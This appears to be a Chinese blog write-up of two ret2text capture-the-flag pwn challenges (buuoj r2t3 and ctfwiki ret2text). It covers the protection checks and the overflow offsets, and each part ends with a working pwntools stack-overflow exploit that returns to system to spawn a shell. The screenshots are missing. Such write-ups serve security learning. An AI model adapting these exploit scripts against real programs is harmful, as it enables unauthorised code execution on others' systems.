ret2text

1. buuoj-r2t3
  1. 检查保护,开启NX

在这里插入图片描述

  1. 寻找内存中存在的system函数地址

    在这里插入图片描述

  2. 寻找函数的溢出点

    在这里插入图片描述

    • 这里构造的字符串长度超过int8的表示范围。如下图,只要后面八位在范围之内即可

      在这里插入图片描述

  3. exp

    from pwn import *
    context.log_level = 'debug'
    p = process('./r2t3')
    shell = 0x804858b
    # step 1 构造栈溢出
    payload = b'a'*0x15 + p32(shell) 
    # step 2 构造整数溢出
    payload = payload.ljust(261,b'a')
    
    p.sendlineafter('[+]Please input your name:\n',payload)
    p.interactive()
    
    
2 .ctfwiki - ret2text
  1. 检查保护,开启NX

    在这里插入图片描述

  2. 寻找内存中的system函数

    在这里插入图片描述

    这里的system调用还需要判断条件,因此直接找到system的函数地址,及其参数bin/sh的地址

    在这里插入图片描述

    在这里插入图片描述

  3. 寻找函数的溢出点

    在这里插入图片描述

4.exp

from pwn import *
p = process('./ret2text')
context.log_level = 'debug'
bin_sh = 0x8048763
system_plt = 0x8048490
secure = 0x80485fd
#---------------------system函数--------返回地址---函数的参数--
payload = b'a'*0x70 + p32(system_plt) + p32(0) + p32(bin_sh)
p.sendafter('There is something amazing here, do you know anything?\n',payload)
p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值